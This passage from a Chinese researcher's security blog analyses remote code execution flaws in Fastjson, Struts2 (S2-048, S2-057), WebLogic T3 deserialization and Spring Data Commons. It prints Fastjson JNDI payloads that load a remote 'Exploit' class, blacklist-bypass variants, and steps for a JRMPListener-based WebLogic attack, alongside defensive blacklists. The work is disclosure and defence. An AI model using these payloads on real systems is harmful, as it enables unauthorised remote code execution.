} else {
return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
}
}

这里面就调用InitialContext的lookup方法,而且找到的就是我们前面设置的DataSourceName(),达到远程调用任意类的目的。由于JdbcRowSetImpl是官方自带的库,所以这个PoC的威力相对来说更厉害。如果还在使用Fastjson 1.2.24版本及以下烦请升级。

引用:
1,https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
2,http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

S2-048 动态分析

发表于 2018-09-21 | 分类于 Struts2 | | 阅读次数

综述

2017年7月7日,Apache Struts发布最新的安全公告,Apache Structs2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin的插件,远程执行代码

漏洞分析

(1) 漏洞简介
Apache Struts2.3.x系列版本中struts2-struts1-plugin存在远程代码执行漏洞,进而导致任意代码执行。
(2) 漏洞分析
官方的漏洞描述如下:

从官方的漏洞描述我们可以知道,这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是用将struts1的action封装成struts2的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式,更可恶的是getText的输入内容还是攻击者可控的。以下分析基于struts2的官方示例struts2-showcase war包。首先Struts1Action的execute方法代码如下,从红框中信息可以看出其实质是调用SaveGangsterAction.execute方法,然后再调用getText(msg.getKey()….)。
1
在struts2-showcase的integration模块下有SaveGangsterAction.java的execute方法的实现。具体如下:
2
在这个方法中就带入有毒参数gforn.getName()放到了messages结构中,而gform.getName()的值是从客户端获取的。Gangsterform.getName()的实现如下:
3
我们这里传入了${1+1}。有毒参数已经带入,就差ognl表达式。继续回到Struts1Action.java的execute方法下半部分,这里有getText()的入口,能清晰看到参数已经被污染,具体如下图:
4
下面进入getText的实现函数:这个调用栈比较深,首先我们给出栈图:
5
从Struts1action.execute函数开始,到ActionSupport的getText()方法,方法如下:
6
接着进入TextProviderSuppport.getText,接着调用其另一个重载类方法getText(),示例如下:
7
如图所示,进入LocalizeTextUtil.findText,继续分析其实现:从名字上也能看出其是根据用户的配置做一些本地化的操作。代码如下:
8
熟悉struts2的童鞋跟到这一步就能发现这就是一个很典型的ognl表达式入口,先是得到一个valueStack,再继续递归得到ognl表达式的值。这里不再描述,详情可参考官方链接:https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html
最后附上一个简单的测试用例图:
9
10

S2-057 技术分析

发表于 2018-09-21 | 分类于 Struts2 | | 阅读次数

漏洞公告

文章从公众号转移过来,在博客上做个记录。

北京时间8月22日13时,Apache官方发布通告公布了Struts2中一个远程代码执行漏洞(CVE-2018-11776)。该漏洞在两种情况下存在,第一,在xml配置中未设置namespace值,且上层动作配置(upper action(s) configurations)中未设置或用通配符namespace值。第二,使用未设置 value和action值的url标签,且上层动作配置(upper action(s) configurations)中未设置或用通配符namespace值。

补丁对比

0
如图所示,补丁主要添加了cleanNamespaceName方法,该方法通过白名单的方式来验证namespace是否合法,从官方描述和漏洞修复方式来看,该漏洞应该是一个Ognl的表达式注入漏洞

动态分析

漏洞发布几个小时之后,漏洞发现作者公布了整个发现过程,并且详细分析了一种漏洞情形:https://lgtm.com/blog/apache_struts_CVE-2018-11776
按照该博客的说法,拉取struts2-showcase项目作为示例,修改struts-actionchaining.xml,具体如下:

1
2
3
4
5
6
7
8
9
<struts>
<package name="actionchaining" extends="struts-default" >
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>

在这种情况下,所有到actionChain1.action的请求的返回结果都会指向register2,并且执行链会到ServletActionRedirectResult.execute方法中,具体如下:
1

从上图可以看出,通过namespace字段,污染了tmpLocation字典,并且设置为了预期的执行的PoC,这也是补丁中为什么要净化namespace的原因,继续跟踪namespace的去向,执行链会到ServletActionRedirectResult的父类的父类StrutsResultSupport.execute方法中,具体如下图
2
这里有个conditionParse方法,这个方式就是使用Ognl表达式来计算数据值,在系统中用得非常多,而且在一些历史漏洞中,也应该由它来背锅,当然最大的锅还是struts官方,每次漏洞出在哪就修在哪,典型的头痛医头,脚痛医脚。方法实现如下图所示
3
在这个方法中会使用到TextParseUtil.translateVariables方法,继续跟踪,调用栈进入OgnlTextParser中的evaluate方法,首先会判断传入的表达式是否合法,比如是否能找到${}或者%{}对,接着调用evaluator.evaluate求值,求值过程非常复杂,总得来说就是链式执行过程,具体如下调用栈:
4
从上图也可以看出最顶层就是通过反射的方式来调用ProcessBuilder的构造函数,中间部分就是链式执行过程中牵涉到一些操作。
我们可以看下求值过程中参数的一些情况。来查看Ognl安全加固的一些变化,具体如下图:
5
主要是黑名单上又添加了一些类,分别是
class ognl.DefaultMemberAccess class com.opensymphony.xwork2.ognl.SecurityMemberAccess class java.lang.ProcessBuilder

分析就结束了,计算器还是要弹的,如下图:
6

PoC 构造

这块是最难的,也是最不好调试的,利用showcase项目很早就能执行${(1+1)}=2的效果,但是要弹出计算器,并不容易,其实就是新的沙箱的绕过,当时在调试的时候就发现,每次的返回结果都是空,没办法,只能耐着性子,将原先的PoC进行拆分,一个单元的一个单元的测试。测试获取#context的时候总为空,后来发现导致无法获取OgnlUtil的实例,怎么获取context,有多种方式,从代码结构来看可以从ognl表达式一些固有表达式来获取,如#root,#request等。

先知议题 Java反序列化实战 解读

发表于 2018-06-20 | 分类于 java | | 阅读次数

1 议题和个人介绍

1.1 议题概述

2017年又是反序列漏洞的大年,涌现了许多经典的因为反序列化导致的远程代码执行漏洞,像fastjson,jackson,struts2,weblogic这些使用量非常大的产品都存在这类漏洞,但不幸的是,这些漏洞的修复方式都是基于黑名单,每次都是旧洞未补全,新洞已面世。随着虚拟货币的暴涨,这些直接的远程执行代码漏洞都成了挖矿者的乐园。
本议题将从那些经典案例入手,分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析,由于黑名单做了加密处理,这里会展开如何得到其黑名单,如何构造PoC。当然2018年的重点还是weblogic,由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞,带大家傲游反序列化的世界,同时也是希望开发者多多借鉴做好安全编码。

1.2 个人简介:

本文作者来自绿盟科技,现任网络安全攻防实验室安全研究经理,安全行业从业七年,是看雪大会讲师,Pycon大会讲师,央视专访嘉宾,向RedHat、Apache、Amazon,Weblogic,阿里提交多份RCE漏洞报告,最近的Weblogic CVE-2018-2628就是一个。

个人博客:xxlegend.com 个人公众号:廖新喜

2 反序列化入门

序列化和反序列化是java引入的数据传输存储接口,序列化是用于将对象转换成二进制串存储,对应着writeObject,而反序列正好相反,将二进制串转换成对象,对应着readObject,类必须实现反序列化接口,同时设置serialVersionUID以便适用不同jvm环境。
可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头:0xaced,TC_OBJECT:0x73,TC_CLASS:0x72,serialVersionUID,newHandle
使用场景:
• http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等
• Servlets HTTP,Sockets,Session管理器 包含的协议就包括JMX,RMI,JMS,JNDI等(\xac\xed)
• xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml)
• json(Jackson,fastjson) http请求中包含

反序列攻击时序图:
1

常见的反序列化项目:
• Ysoserial 原生序列化PoC生成
• Marshalsec 第三方格式序列化PoC生成
• Freddy burp反序列化测试插件
• Java-Deserialization-Cheat-Sheet

3 fastjson

3.1 简介

Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序
快速匹配”的算法,号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化,示例代码如下:

1
2
3
4
5
User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
String jsonString = "{\"name\":\"guest\",\"age\":12}"
User user = (User)JSON.parse(jsonString)

Fastjson PoC分类
主要分为两大类,一个是基于TemplateImpl,另外就是基于基于JNDI,基于JNDI的又可分为
a) Bean Property类型
b) Field类型
可以参考Demo:https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson为了防止研究人员研究它的黑名单,想出了一套新的黑名单机制,这套黑名单是基于具体类的hash加密算法,不可逆。如果是简单穷举,基本算不出来,后来我想到这些库的黑名单肯定都在Maven仓库中,于是写了个爬虫,爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。

3.2 fastjson最近的几个经典漏洞

下面这段代码是fastjson用来自定义loadClass的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static Class<?> loadClass(String className, ClassLoader classLoader) {
//省略
if (className.charAt(0) == '[') {
Class<?> componen/tType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);

首先我们来看一个经典的PoC,{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},关于这个PoC的解读在我博客上有,这里不再详述,但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞,首先看1.2.41的绕过方法是Lcom.sun.rowset.RowSetImpl;,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符L和最后一个字符;吧,果不其然,在官方的修补方案中,如果以L打头,;结尾则会去掉打头和结尾。当时我就发了一个感概:补丁未出,漏洞已行。很显然,1.2.42的绕过方法是LLcom.sum.rowset.RowSetImpl;;,细心的读者还会看到loadClass的第一个if判断中还有[打头部分,所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp.
在官方版本1.2.45黑名单中又添加了ibatis的黑名单,PoC如下:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}},首先这是一个基于JNDI的PoC,为了更加理解这个PoC,我们还是先来看一下JndiDataSourceFactory的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class JndiDataSourceFactory implements DataSourceFactory {
public static final String DATA_SOURCE = "data_source";
//省略
public void setProperties(Properties properties) {
try {
InitialContext initCtx = null;
Hashtable env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
//省略
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}

其本质还是通过bean操作接口set来调用setProperties,然后触发JNDI查询。

4 weblogic

Weblogic是第一个成功商业化的J2EE应用服务器,在大型企业中使用非常广泛。在Oracle旗下,可以与其他Oracle产品强强联手,WebLogic Server Java EE 应用基于标准化、模块化的组件,WebLogic Server 为这些模块提供了一组完整的服务,无需编程即可自动处理应用行为的许多细节,另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示:
2

CVE-2015-4852

基于T3
• 新的攻击面
• 基于commons-collections
• 采用黑名单修复

1
2
3
4
5
6
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

• 作用位置有限

1
2
3
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638

首先来看下漏洞位置,在readExternal位置,

1
2
3
4
5
6
7
8
9
10
11
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
ObjectInputStream var5 = new ObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {

再来看看补丁,加了一个FilteringObjectInputStream过滤接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
BufferInputStream is = this.payload.getInputStream();
FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
```
FilteringObjectInputStream的实现如下:
```java
public class FilteringObjectInputStream extends ObjectInputStream {
public FilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
return super.resolveClass(descriptor);
}
}
}

其实就是在resolveClass位置加了一层黑名单控制。

基于XMLDecoder

• CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞
• CVE-2017-10271 是3506的绕过
• 都是挖矿主力军
• 基于http协议
详细解读可参考我的博客:http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

CVE-2017-3248

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0
&& ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
Class c = super.resolveClass(descriptor);
//省略
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}

CVE-2017-3248 这个漏洞是根据JRMPListener来构造的,从这个补丁也可以看出,在resolveClass和resolveProxyClass都设置了黑名单。

CVE-2018-2628

这个漏洞是我报给Oracle官方的,但是他们并没有修复完全,导致后来这个漏洞被滥用。
• 完美绕过CVE-2017-3248
• 基于StreamMessage封装
• 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制
• Proxy非必须项
攻击示意图如下:
3
简单分析可见:http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

5 反序列化防御

5.1 Weblogic防御

• 过滤T3协议,限定可连接的IP
• 设置Nginx反向代理,实现t3协议和http协议隔离
• JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理,黑名单如下:
黑名单:

1
2
3
4
5
6
7
8
9
10
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*

当然也有失效的时候,就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。

5.2 原生反序列化防御

• 不要反序列化不可信的数据
• 给反序列数据加密签名,并确保解密在反序列之前
• 给反序列化接口添加认证授权
• 反序列化服务只允许监听在本地或者开启相应防火墙
• 升级第三方库
• 升级JDK,JEP290

6 招人

绿盟科技Web攻防实验室欢迎各位应聘,招聘大牛和实习生。团队专注于最前沿的Web攻防研究,大数据分析,前瞻性攻击与检测预研.
联系邮箱: liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com

pdf:

CVE-2018-2628 简单复现与分析

发表于 2018-06-20 | 分类于 java | | 阅读次数

1,概述

当地时间4月17日,北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),这个漏洞是我在去年11月份报给Oracle的,通过该漏洞,攻击者可以在未授权的情况下远程执行任意代码。

参考链接:

http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

漏洞影响范围
Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

2,复现

第一步发送测试PoC,PoC中远程连接的服务器地址就是第二步中所使用的服务器,攻击的ip是192.168.3.103的7001端口上的T3服务,该服务会解包Object结构,通过一步步的readObject去第二步服务器上的1099端口请求恶意封装的代码,然后在本地弹出计算器。
1

第二步在远程服务器上启用ysoserial.exploit.JRMPListener,JRMPListener会将含有恶意代码的payload发送回请求方。

2
查看weblogic的日志,可以看到如下错误,此时已经弹出计算器:
3

3,分析

Weblogic已经将互联网暴露的PoC都已经加入了黑名单,如果要绕过他的黑名单的限制就只能自己动手构造。来看看InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}

其实核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。
大致的调用栈如下:
readObject:66, InboundMsgAbbrev (weblogic.rjvm), InboundMsgAbbrev.java
-》readExternalData:1810, ObjectInputStream (java.io), ObjectInputStream.java
—》readExternal:1433, StreamMessageImpl (weblogic.jms.common), StreamMessageImpl.java
—–》readObject:455, RemoteObject (java.rmi.server), RemoteObject.java

披露时间线:
2017/7/19:发现问题
2017/11/23:报告给Oracle官方
2017/11/29:Oracle官方接收
2017/11/30:Oracle官方分配bug号(S0947640),正式进入主线版本修复
2017/11/30:索要公司域名邮箱
2018/4/14:分配CVE,CVE-2018-2628
2018/4/17:发布补丁

CVE-2018-1273 RCE with Spring Data Commons 分析报告

发表于 2018-04-12 | 分类于 Java | | 阅读次数

1,漏洞公告:

链接:https://pivotal.io/security/cve-2018-1273
Severity:Critical
Vendor:Spring by Pivotal

Description
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.

Affected Pivotal Products and Versions

Severity is critical unless otherwise noted.

  • Spring Data Commons 1.13 to 1.13.10 (Ingalls SR10)
  • Spring Data REST 2.6 to 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 to 3.0.5 (Kay SR5)
  • Older unsupported versions are also affected

Mitigation
Users of affected versions should apply the following mitigation:

  • 2.0.x users should upgrade to 2.0.6
  • 1.13.x users should upgrade to 1.13.11
  • Older versions should upgrade to a supported branch

Releases that have fixed this issue include:

  • Spring Data REST 2.6.11 (Ingalls SR11)
  • Spring Data REST 3.0.6 (Kay SR6)
  • Spring Boot 1.5.11
  • Spring Boot 2.0.1

There are no other mitigation steps necessary.

Note that the use of authentication and authorization for endpoints, both of which are provided by Spring Security, limits exposure to this vulnerability to authorized users.

Credit
This issue was identified and responsibly reported by Philippe Arteau, GoSecure Inc.

References

  • https://jira.spring.io/browse/DATACMNS-1282
  • https://github.com/spring-projects/spring-data-commons/commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432a
  • https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
  • https://docs.spring.io/spring-data/jpa/docs/current/reference/html/#core.web.binding

2,补丁分析:

补丁的内容:DATACMNS-1282 - Switched to SimpleEvaluationContext in MapDataBinder.很明显这是一个spel表达式注入漏洞。补丁的内容如下:
1
补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext,由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。
SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持,详情可查看SimpleEvaluationContext的实现。

3,PoC构造:

PoC的构造实在可以说路途忐忑,首先官方的描述信息带有一点误导的作用,当然也有可能是我水平不够,没有找到利用点。Spring官方说一个恶意攻击者可以构造任意参数来攻击Spring Data REST支持的http资源或者Spring Data’s projection的请求绑定来达到远程攻击的目的。再加上官方给的链接,直接就盯上了projection这个项目。特别是里面提到的json自动绑定技术。仔细阅读官方资料,发送payload调试,加断点,没有一点反响,肯定是漏洞没触发呗。简单粗暴的方式行不通,只能一个节点一个节点的分析调试。

首先拉取项目https://github.com/spring-projects/spring-data-examples/ ,修改pom.xml中parent节点为

1
2
3
4
5
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.0.RC1</version>
</parent>

为什么要降到这个版本,是因为spring-data-commons在2.0.5版本就拒绝了SpEl表达式,添加了如下代码:

1
2
3
context.setTypeLocator(typeName -> {
throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
})

初步研究了下,我也绕不过,就只能再降低个版本了。详细release说明见:https://github.com/spring-projects/spring-data-commons/blob/d8a1c2cfde78e87cd4bae3bfcc9782750a783b0b/src/main/resources/changelog.txt

导入到IDEA里,打开项目web[spring-data-web-example]中的UserController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@Controller
@RequiredArgsConstructor
@RequestMapping("/users")
class UserController {
private final UserManagement userManagement;
/**
* Registers a new {@link User} for the data provided by the given {@link UserForm}. Note, how an interface is used to
* bind request parameters.
*
* @param userForm the request data bound to the {@link UserForm} instance.
* @param binding the result of the binding operation.
* @param model the Spring MVC {@link Model}.
* @return
*/
@RequestMapping(method = RequestMethod.POST)
public Object register(UserForm userForm, BindingResult binding, Model model) {
userForm.validate(binding, userManagement);
if (binding.hasErrors()) {
return "users";
}
userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));
RedirectView redirectView = new RedirectView("redirect:/users");
redirectView.setPropagateQueryParams(true);
return redirectView;
}

注意到如下代码:
@RequestMapping(method = RequestMethod.POST) public Object register(UserForm userForm, BindingResult binding, Model model)
这其中就有UserForm,BindingResult, Model,为啥会是从这个接口进入呢?还是要从问题点出发,也就是MapDataBinder的实现。存在问题的代码是MapDataBinder.setPropertyValue,但是怎么被调用起来的还是挺复杂,慢慢可以看出是ProxyingHandlerMethodArgumentResolver使用了MapDataBinder的接口,实现大体如下:

1
2
3
4
5
6
7
8
9
10
public class ProxyingHandlerMethodArgumentResolver extends ModelAttributeMethodProcessor
implements BeanFactoryAware, BeanClassLoaderAware {
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
NativeWebRequest request) throws Exception {
MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
binder.bind(new MutablePropertyValues(request.getParameterMap()));
return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

这块又是怎么调用起来的,只能找官方文档了,找到了这么一处,http://ju.outofmemory.cn/entry/125029
从 这里可以看出一些端倪,

1
2
3
4
5
6
7
8
9
10
11
12
interface Form {
@NotBlank String getName();
@NotBlank String getText();
}
@Controller
@RequestMapping(value = "/guestbook")
class GuestbookController {
@RequestMapping(method = RequestMethod.GET)
String guestbook(Form form, Model model) { … }
@RequestMapping(method = RequestMethod.POST)
String guestbook(@Valid Form form, Errors errors, Model model) { … }
}

在处理类似代码的时候会用到ProxyingHandlerMethodArgumentResolver,总算上了半点道,这里Form,有Model,对Spring 真是不熟悉,特别是各种各样的注解,看着也头疼,而且不好调试,只能偷懒了,找官方项目,于是找到了web[spring-data-web-example],其实这个早已经在看了,只是前面看了点又放弃了,还好,PoC一发立马弹出计算器。当然这个PoC已经单步调试过,单步调试的坑也是非常多,比如说找可写权限的属性等这里暂且先不说了。只是这次这次直接从web请求触发。具体的栈图如下:
2
最后给大家放个图,以证明漏洞有效,计算器图:
3
其实username,password,repeatedPassword字段都可以添加漏洞利用代码。还有一点就是[]是嵌套属性的写法,在[]中间可以写入表达式,先找到username,这个也是跟这个表单属性绑定的,具体的代码如下:

1
2
3
4
interface UserForm {
String getUsername();
String getPassword();
String getRepeatedPassword();

12…4
廖新喜

廖新喜

分享些安全编码,漏洞分析

35 日志
17 分类
124 标签
RSS
GitHub Twitter Weibo
© 2020 廖新喜
由 Hexo 强力驱动
主题 - NexT.Mist